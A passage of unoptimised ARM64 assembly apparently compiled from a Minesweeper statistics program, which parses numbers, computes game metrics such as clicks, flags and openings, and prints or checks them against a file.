ldr w9, [sp, #372]
add w9, w9, #1
str w9, [sp, #372]
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #40
cset w8, eq
mov w9, #0
str w9, [sp, #68] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_225
b LBB49_224
LBB49_224: ; in Loop: Header=BB49_223 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #68] ; 4-byte Folded Spill
b LBB49_225
LBB49_225: ; in Loop: Header=BB49_223 Depth=2
ldr w8, [sp, #68] ; 4-byte Folded Reload
tbz w8, #0, LBB49_227
b LBB49_226
LBB49_226: ; in Loop: Header=BB49_223 Depth=2
b LBB49_223
LBB49_227: ; in Loop: Header=BB49_112 Depth=1
b LBB49_228
LBB49_228: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
str w9, [sp, #372]
ldrsb w0, [x8, w9, sxtw]
bl _isdigit
subs w8, w0, #0
cset w8, ne
mov w9, #0
str w9, [sp, #64] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_230
b LBB49_229
LBB49_229: ; in Loop: Header=BB49_228 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #64] ; 4-byte Folded Spill
b LBB49_230
LBB49_230: ; in Loop: Header=BB49_228 Depth=2
ldr w8, [sp, #64] ; 4-byte Folded Reload
tbz w8, #0, LBB49_232
b LBB49_231
LBB49_231: ; in Loop: Header=BB49_228 Depth=2
b LBB49_228
LBB49_232: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
subs w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #45
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #348]
str wzr, [sp, #356]
b LBB49_233
LBB49_233: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w0, [x8, x9]
bl _isdigit
subs w8, w0, #0
cset w8, eq
mov w9, #0
str w9, [sp, #60] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_235
b LBB49_234
LBB49_234: ; in Loop: Header=BB49_233 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB49_235
LBB49_235: ; in Loop: Header=BB49_233 Depth=2
ldr w8, [sp, #60] ; 4-byte Folded Reload
tbz w8, #0, LBB49_237
b LBB49_236
LBB49_236: ; in Loop: Header=BB49_233 Depth=2
ldr x9, [sp, #160] ; 8-byte Folded Reload
ldr w8, [sp, #356]
mov w10, #10
mul w8, w8, w10
ldrsw x10, [sp, #372]
mov x11, x10
add w11, w11, #1
str w11, [sp, #372]
ldrsb w9, [x9, x10]
add w8, w8, w9
subs w8, w8, #48
str w8, [sp, #356]
b LBB49_233
LBB49_237: ; in Loop: Header=BB49_112 Depth=1
b LBB49_238
LBB49_238: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
add w9, w9, #1
str w9, [sp, #372]
ldrsb w0, [x8, w9, sxtw]
bl _isdigit
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB49_240
b LBB49_239
LBB49_239: ; in Loop: Header=BB49_238 Depth=2
b LBB49_238
LBB49_240: ; in Loop: Header=BB49_112 Depth=1
ldr w8, [sp, #348]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_242
b LBB49_241
LBB49_241: ; in Loop: Header=BB49_112 Depth=1
ldr w9, [sp, #356]
mov w8, #0
subs w8, w8, w9
str w8, [sp, #356]
b LBB49_242
LBB49_242: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldr w9, [sp, #372]
subs w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #45
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #344]
str wzr, [sp, #352]
b LBB49_243
LBB49_243: ; Parent Loop BB49_112 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #372]
ldrsb w0, [x8, x9]
bl _isdigit
subs w8, w0, #0
cset w8, eq
mov w9, #0
str w9, [sp, #56] ; 4-byte Folded Spill
tbnz w8, #0, LBB49_245
b LBB49_244
LBB49_244: ; in Loop: Header=BB49_243 Depth=2
ldr w8, [sp, #372]
ldr w9, [sp, #376]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #56] ; 4-byte Folded Spill
b LBB49_245
LBB49_245: ; in Loop: Header=BB49_243 Depth=2
ldr w8, [sp, #56] ; 4-byte Folded Reload
tbz w8, #0, LBB49_247
b LBB49_246
LBB49_246: ; in Loop: Header=BB49_243 Depth=2
ldr x9, [sp, #160] ; 8-byte Folded Reload
ldr w8, [sp, #352]
mov w10, #10
mul w8, w8, w10
ldrsw x10, [sp, #372]
mov x11, x10
add w11, w11, #1
str w11, [sp, #372]
ldrsb w9, [x9, x10]
add w8, w8, w9
subs w8, w8, #48
str w8, [sp, #352]
b LBB49_243
LBB49_247: ; in Loop: Header=BB49_112 Depth=1
ldr w8, [sp, #344]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_249
b LBB49_248
LBB49_248: ; in Loop: Header=BB49_112 Depth=1
ldr w9, [sp, #352]
mov w8, #0
subs w8, w8, w9
str w8, [sp, #352]
b LBB49_249
LBB49_249: ; in Loop: Header=BB49_112 Depth=1
ldr x8, [sp, #360]
ldr w9, [sp, #356]
ldr w10, [sp, #412]
sdiv w0, w9, w10
ldr w9, [sp, #352]
ldr w10, [sp, #412]
sdiv w1, w9, w10
ldr w2, [sp, #356]
ldr w3, [sp, #352]
blr x8
b LBB49_250
LBB49_250: ; in Loop: Header=BB49_112 Depth=1
b LBB49_251
LBB49_251: ; in Loop: Header=BB49_112 Depth=1
b LBB49_252
LBB49_252: ; in Loop: Header=BB49_112 Depth=1
b LBB49_253
LBB49_253: ; in Loop: Header=BB49_112 Depth=1
b LBB49_254
LBB49_254: ; in Loop: Header=BB49_112 Depth=1
b LBB49_255
LBB49_255: ; in Loop: Header=BB49_112 Depth=1
b LBB49_256
LBB49_256: ; in Loop: Header=BB49_112 Depth=1
b LBB49_112
LBB49_257:
adrp x8, _end_time@PAGE
ldr w8, [x8, _end_time@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_259
b LBB49_258
LBB49_258:
ldr x8, [sp, #256] ; 8-byte Folded Reload
ldr w8, [x8]
adrp x9, _end_time@PAGE
str w8, [x9, _end_time@PAGEOFF]
b LBB49_259
LBB49_259:
ldr x10, [sp, #280] ; 8-byte Folded Reload
ldr x11, [sp, #272] ; 8-byte Folded Reload
ldr x12, [sp, #248] ; 8-byte Folded Reload
ldr x13, [sp, #200] ; 8-byte Folded Reload
ldr x14, [sp, #208] ; 8-byte Folded Reload
ldr x15, [sp, #216] ; 8-byte Folded Reload
ldr x16, [sp, #224] ; 8-byte Folded Reload
ldr x17, [sp, #232] ; 8-byte Folded Reload
ldr x0, [sp, #240] ; 8-byte Folded Reload
ldr x1, [sp, #264] ; 8-byte Folded Reload
str wzr, [sp, #468]
ldr w8, [x0]
ldr w9, [x17]
add w8, w8, w9
ldr w9, [x16]
add w8, w8, w9
str w8, [sp, #340]
ldr w8, [x15]
ldr w9, [x14]
add w8, w8, w9
ldr w9, [x13]
add w8, w8, w9
str w8, [sp, #336]
ldr w8, [sp, #340]
ldr w9, [sp, #336]
subs w8, w8, w9
str w8, [sp, #332]
ldr s1, [x12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr s2, [x1]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
str d0, [sp, #320]
adrp x8, _end_time@PAGE
ldr s1, [x8, _end_time@PAGEOFF]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
adrp x8, lCPI49_3@PAGE
ldr d1, [x8, lCPI49_3@PAGEOFF]
fdiv d0, d0, d1
ldrsw x9, [sp, #468]
mov x8, x9
add w8, w8, #1
str w8, [sp, #468]
add x8, sp, #824
str x8, [sp, #40] ; 8-byte Folded Spill
str d0, [x8, x9, lsl #3]
ldr w2, [x1]
ldrsw x3, [sp, #468]
mov x9, x3
add w9, w9, #1
str w9, [sp, #468]
add x9, sp, #1160
str x9, [sp, #48] ; 8-byte Folded Spill
str w2, [x9, x3, lsl #2]
ldr w2, [x12]
ldrsw x3, [sp, #468]
mov x4, x3
add w4, w4, #1
str w4, [sp, #468]
str w2, [x9, x3, lsl #2]
ldr s1, [x12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x2, [sp, #468]
mov x3, x2
add w3, w3, #1
str w3, [sp, #468]
str d0, [x8, x2, lsl #3]
ldr w2, [x11]
ldrsw x3, [sp, #468]
mov x4, x3
add w4, w4, #1
str w4, [sp, #468]
str w2, [x9, x3, lsl #2]
ldr w2, [x11]
ldr w3, [x12]
mul w2, w2, w3
scvtf d0, w2
ldr s2, [x1]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
ldr d2, [sp, #824]
fmul d1, d1, d2
fdiv d0, d0, d1
ldrsw x2, [sp, #468]
mov x3, x2
add w3, w3, #1
str w3, [sp, #468]
str d0, [x8, x2, lsl #3]
ldr w2, [x10]
ldrsw x3, [sp, #468]
mov x4, x3
add w4, w4, #1
str w4, [sp, #468]
str w2, [x9, x3, lsl #2]
ldr w2, [x10]
ldr w3, [x12]
mul w2, w2, w3
scvtf d0, w2
ldr s2, [x1]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
ldr d2, [sp, #824]
fmul d1, d1, d2
fdiv d0, d0, d1
ldrsw x1, [sp, #468]
mov x2, x1
add w2, w2, #1
str w2, [sp, #468]
str d0, [x8, x1, lsl #3]
ldr w1, [sp, #340]
ldrsw x2, [sp, #468]
mov x3, x2
add w3, w3, #1
str w3, [sp, #468]
str w1, [x9, x2, lsl #2]
ldr w1, [sp, #468]
subs w1, w1, #1
ldr s1, [x9, w1, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x1, [sp, #468]
str d0, [x8, x1, lsl #3]
ldr w1, [sp, #468]
add w1, w1, #1
str w1, [sp, #468]
ldr w0, [x0]
ldrsw x1, [sp, #468]
mov x2, x1
add w2, w2, #1
str w2, [sp, #468]
str w0, [x9, x1, lsl #2]
ldr w0, [sp, #468]
subs w0, w0, #1
ldr s1, [x9, w0, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x0, [sp, #468]
str d0, [x8, x0, lsl #3]
ldr w0, [sp, #468]
add w0, w0, #1
str w0, [sp, #468]
ldr w17, [x17]
ldrsw x0, [sp, #468]
mov x1, x0
add w1, w1, #1
str w1, [sp, #468]
str w17, [x9, x0, lsl #2]
ldr w17, [sp, #468]
subs w17, w17, #1
ldr s1, [x9, w17, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x17, [sp, #468]
str d0, [x8, x17, lsl #3]
ldr w17, [sp, #468]
add w17, w17, #1
str w17, [sp, #468]
ldr w16, [x16]
ldrsw x17, [sp, #468]
mov x0, x17
add w0, w0, #1
str w0, [sp, #468]
str w16, [x9, x17, lsl #2]
ldr w16, [sp, #468]
subs w16, w16, #1
ldr s1, [x9, w16, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x16, [sp, #468]
str d0, [x8, x16, lsl #3]
ldr w16, [sp, #468]
add w16, w16, #1
str w16, [sp, #468]
ldr w16, [sp, #336]
ldrsw x17, [sp, #468]
mov x0, x17
add w0, w0, #1
str w0, [sp, #468]
str w16, [x9, x17, lsl #2]
ldr w16, [sp, #468]
subs w16, w16, #1
ldr s1, [x9, w16, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x16, [sp, #468]
str d0, [x8, x16, lsl #3]
ldr w16, [sp, #468]
add w16, w16, #1
str w16, [sp, #468]
ldr w15, [x15]
ldrsw x16, [sp, #468]
mov x17, x16
add w17, w17, #1
str w17, [sp, #468]
str w15, [x9, x16, lsl #2]
ldr w15, [sp, #468]
subs w15, w15, #1
ldr s1, [x9, w15, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x15, [sp, #468]
str d0, [x8, x15, lsl #3]
ldr w15, [sp, #468]
add w15, w15, #1
str w15, [sp, #468]
ldr w14, [x14]
ldrsw x15, [sp, #468]
mov x16, x15
add w16, w16, #1
str w16, [sp, #468]
str w14, [x9, x15, lsl #2]
ldr w14, [sp, #468]
subs w14, w14, #1
ldr s1, [x9, w14, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x14, [sp, #468]
str d0, [x8, x14, lsl #3]
ldr w14, [sp, #468]
add w14, w14, #1
str w14, [sp, #468]
ldr w13, [x13]
ldrsw x14, [sp, #468]
mov x15, x14
add w15, w15, #1
str w15, [sp, #468]
str w13, [x9, x14, lsl #2]
ldr w13, [sp, #468]
subs w13, w13, #1
ldr s1, [x9, w13, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x13, [sp, #468]
str d0, [x8, x13, lsl #3]
ldr w13, [sp, #468]
add w13, w13, #1
str w13, [sp, #468]
adrp x13, _clicks_15@GOTPAGE
ldr x13, [x13, _clicks_15@GOTPAGEOFF]
ldr w13, [x13]
ldrsw x14, [sp, #468]
mov x15, x14
add w15, w15, #1
str w15, [sp, #468]
str w13, [x9, x14, lsl #2]
ldr w13, [sp, #468]
subs w13, w13, #1
ldr s1, [x9, w13, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x13, [sp, #468]
str d0, [x8, x13, lsl #3]
ldr w13, [sp, #468]
add w13, w13, #1
str w13, [sp, #468]
ldr s1, [x12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr s2, [sp, #340]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x13, [sp, #468]
mov x14, x13
add w14, w14, #1
str w14, [sp, #468]
str d0, [x8, x13, lsl #3]
ldr s1, [sp, #332]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr s2, [sp, #340]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x13, [sp, #468]
mov x14, x13
add w14, w14, #1
str w14, [sp, #468]
str d0, [x8, x13, lsl #3]
ldr s1, [x12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr s2, [sp, #332]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x12, [sp, #468]
mov x13, x12
add w13, w13, #1
str w13, [sp, #468]
str d0, [x8, x12, lsl #3]
ldr s1, [x11]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #320]
fmul d0, d0, d1
ldr s2, [sp, #340]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x12, [sp, #468]
mov x13, x12
add w13, w13, #1
str w13, [sp, #468]
str d0, [x8, x12, lsl #3]
ldr s1, [x11]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #320]
fmul d0, d0, d1
ldr s2, [sp, #332]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str d0, [x8, x11, lsl #3]
ldr s1, [x10]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #320]
fmul d0, d0, d1
ldr s2, [sp, #340]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str d0, [x8, x11, lsl #3]
ldr s1, [x10]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #320]
fmul d0, d0, d1
ldr s2, [sp, #332]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
ldrsw x10, [sp, #468]
mov x11, x10
add w11, w11, #1
str w11, [sp, #468]
str d0, [x8, x10, lsl #3]
adrp x10, _openings@GOTPAGE
ldr x10, [x10, _openings@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _islands@GOTPAGE
ldr x10, [x10, _islands@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _flags@GOTPAGE
ldr x10, [x10, _flags@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _wasted_flags@GOTPAGE
ldr x10, [x10, _wasted_flags@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _unflags@GOTPAGE
ldr x10, [x10, _unflags@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _misflags@GOTPAGE
ldr x10, [x10, _misflags@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _misunflags@GOTPAGE
ldr x10, [x10, _misunflags@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
adrp x10, _rilian_clicks@GOTPAGE
ldr x10, [x10, _rilian_clicks@GOTPAGEOFF]
ldr w10, [x10]
ldrsw x11, [sp, #468]
mov x12, x11
add w12, w12, #1
str w12, [sp, #468]
str w10, [x9, x11, lsl #2]
ldr w10, [sp, #468]
subs w10, w10, #1
ldr s1, [x9, w10, sxtw #2]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #824]
fdiv d0, d0, d1
ldrsw x9, [sp, #468]
str d0, [x8, x9, lsl #3]
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
adrp x8, _no_check_info@PAGE
ldr w8, [x8, _no_check_info@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_263
b LBB49_260
LBB49_260:
ldr w8, [sp, #408]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_263
b LBB49_261
LBB49_261:
adrp x8, _won@PAGE
ldr w8, [x8, _won@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_263
b LBB49_262
LBB49_262:
ldr x8, [sp, #144] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.84@PAGE
add x1, x1, l_.str.84@PAGEOFF
bl _fprintf
b LBB49_263
LBB49_263:
str wzr, [sp, #468]
b LBB49_264
LBB49_264: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #42
cset w8, ge
tbnz w8, #0, LBB49_286
b LBB49_265
LBB49_265: ; in Loop: Header=BB49_264 Depth=1
ldrsw x9, [sp, #468]
add x8, sp, #488
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_267
b LBB49_266
LBB49_266: ; in Loop: Header=BB49_264 Depth=1
b LBB49_285
LBB49_267: ; in Loop: Header=BB49_264 Depth=1
ldrsw x9, [sp, #468]
add x8, sp, #1664
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_272
b LBB49_268
LBB49_268: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x0, [x8]
ldrsw x9, [sp, #468]
add x8, sp, #1328
ldr x1, [x8, x9, lsl #3]
mov w2, #0
bl _fseek
ldrsw x9, [sp, #468]
add x8, sp, #656
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_270
b LBB49_269
LBB49_269: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldr x0, [x8]
ldrsw x9, [sp, #468]
add x8, sp, #1160
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.85@PAGE
add x1, x1, l_.str.85@PAGEOFF
bl _fprintf
b LBB49_271
LBB49_270: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #152] ; 8-byte Folded Reload
ldrsw x10, [sp, #468]
add x9, sp, #824
ldr d0, [x9, x10, lsl #3]
adrp x9, lCPI49_2@PAGE
ldr d1, [x9, lCPI49_2@PAGEOFF]
fmul d0, d0, d1
fcvtzs w9, d0
str w9, [sp, #316]
ldr s0, [sp, #316]
scvtf s0, s0
mov w9, #16384
movk w9, #17948, lsl #16
fmov s1, w9
fdiv s0, s0, s1
str s0, [sp, #312]
ldr x0, [x8]
ldr s0, [sp, #312]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x1, l_.str.86@PAGE
add x1, x1, l_.str.86@PAGEOFF
bl _fprintf
b LBB49_271
LBB49_271: ; in Loop: Header=BB49_264 Depth=1
b LBB49_283
LBB49_272: ; in Loop: Header=BB49_264 Depth=1
adrp x8, _no_check_info@PAGE
ldr w8, [x8, _no_check_info@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_282
b LBB49_273
LBB49_273: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x0, [x8]
ldrsw x9, [sp, #468]
add x8, sp, #1328
ldr x1, [x8, x9, lsl #3]
mov w2, #0
bl _fseek
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldr x2, [x8]
mov w1, #1000
bl _fgets
ldrsw x9, [sp, #468]
add x8, sp, #656
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_276
b LBB49_274
LBB49_274: ; in Loop: Header=BB49_264 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
bl _atoi
str w0, [sp, #308]
ldrsw x9, [sp, #468]
add x8, sp, #1160
ldr w8, [x8, x9, lsl #2]
subs w8, w0, w8
cset w8, eq
tbnz w8, #0, LBB49_276
b LBB49_275
LBB49_275: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #144] ; 8-byte Folded Reload
ldr x0, [x8]
ldrsw x9, [sp, #468]
add x8, sp, #1832
ldr x11, [x8, x9, lsl #3]
ldrsw x9, [sp, #468]
add x8, sp, #1160
ldr w8, [x8, x9, lsl #2]
; implicit-def: $x10
mov x10, x8
ldr w9, [sp, #308]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x1, l_.str.87@PAGE
add x1, x1, l_.str.87@PAGEOFF
bl _fprintf
b LBB49_281
LBB49_276: ; in Loop: Header=BB49_264 Depth=1
ldrsw x9, [sp, #468]
add x8, sp, #656
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB49_280
b LBB49_277
LBB49_277: ; in Loop: Header=BB49_264 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
bl _strtodouble
str d0, [sp, #296]
ldrsw x9, [sp, #468]
add x8, sp, #824
ldr d1, [x8, x9, lsl #3]
fsub d0, d0, d1
str d0, [sp, #288]
adrp x8, lCPI49_1@PAGE
ldr d1, [x8, lCPI49_1@PAGEOFF]
fcmp d0, d1
cset w8, ge
tbnz w8, #0, LBB49_279
b LBB49_278
LBB49_278: ; in Loop: Header=BB49_264 Depth=1
ldr d0, [sp, #288]
adrp x8, lCPI49_0@PAGE
ldr d1, [x8, lCPI49_0@PAGEOFF]
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB49_280
b LBB49_279
LBB49_279: ; in Loop: Header=BB49_264 Depth=1
ldr x8, [sp, #144] ; 8-byte Folded Reload
ldr x0, [x8]
ldrsw x9, [sp, #468]
add x8, sp, #1832
ldr x9, [x8, x9, lsl #3]
ldrsw x10, [sp, #468]
add x8, sp, #824
ldr d1, [x8, x10, lsl #3]
ldr d0, [sp, #296]
mov x8, sp
str x9, [x8]
str d1, [x8, #8]
str d0, [x8, #16]
adrp x1, l_.str.88@PAGE
add x1, x1, l_.str.88@PAGEOFF
bl _fprintf
b LBB49_280
LBB49_280: ; in Loop: Header=BB49_264 Depth=1
b LBB49_281
LBB49_281: ; in Loop: Header=BB49_264 Depth=1
b LBB49_282
LBB49_282: ; in Loop: Header=BB49_264 Depth=1
b LBB49_283
LBB49_283: ; in Loop: Header=BB49_264 Depth=1
b LBB49_284
LBB49_284: ; in Loop: Header=BB49_264 Depth=1
b LBB49_285
LBB49_285: ; in Loop: Header=BB49_264 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_264
LBB49_286:
ldr x8, [sp, #192] ; 8-byte Folded Reload
ldr x0, [x8]
bl _free
str wzr, [sp, #484]
b LBB49_287
LBB49_287:
ldr w8, [sp, #484]
str w8, [sp, #36] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB49_289
b LBB49_288
LBB49_288:
bl ___stack_chk_fail
LBB49_289:
ldr w0, [sp, #36] ; 4-byte Folded Reload
add sp, sp, #2176
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _won ; @won
.zerofill __DATA,__common,_won,4,2
.globl _no_board_events ; @no_board_events
.zerofill __DATA,__common,_no_board_events,4,2
.globl _no_zini ; @no_zini
.zerofill __DATA,__common,_no_zini,4,2
.section __DATA,__data
.globl _no_rilian_clicks ; @no_rilian_clicks
.p2align 2
_no_rilian_clicks:
.long 1 ; 0x1
.globl _no_check_info ; @no_check_info
